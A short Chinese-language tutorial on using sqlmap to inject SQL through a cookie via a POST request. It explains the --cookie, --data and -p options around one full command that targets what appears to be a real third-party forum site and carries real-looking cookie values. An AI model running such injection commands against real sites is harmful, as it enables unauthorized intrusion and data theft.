sqlmap使用post方法對cookie進行注入
sqlmap預設使用get方法,並且只有在注入level>=2的時候才會對cookie進行注入,要想使用post方法,但是如果post的引數為0,可以指定 --data 為空,下面以cookie名為CNZZDATA3834609為例進行注入:
sqlmap -u http://www.beihai.ccoo.cn/forum/GetUserInfo.Asp?id=0 --cookie="CNZZDATA3568186=cnzz_eid%3D1227930120-1395711655-%26ntime%3D1395799625%26cnzz_a%3D1%26sin%3Dnone%26ltime%3D1395799604656%26rtime%3D1; CNZZDATA3834609=cnzz_eid%3D144071239-1395711655-%26ntime%3D1395799624%26cnzz_a" -p ”CNZZDATA3834609“ --data "" --level 2
下面再分別說明幾個選項的作用:
--cookie="CNZZDATA3568186=cnzz_eid%3D1227930120-1395711655-%26ntime%3D1395799625%26cnzz_a%3D1%26sin%3Dnone%26ltime%3D1395799604656%26rtime%3D1; CNZZDATA3834609=cnzz_eid%3D144071239-1395711655-%26ntime%3D1395799624%26cnzz_a" 當需要對cookie注入的時候,必須使用--cookie選項
--data "" 因為post的資料長度為0,但是又想使用post方法進行注入,則使用--data "" ,使用--data選項後,sqlmap自動使用post方法,sqlmap不支援使用--method指定http請求方法
-p ”CNZZDATA3834609“ 指定對名為”CNZZDATA3834609的cookie進行注入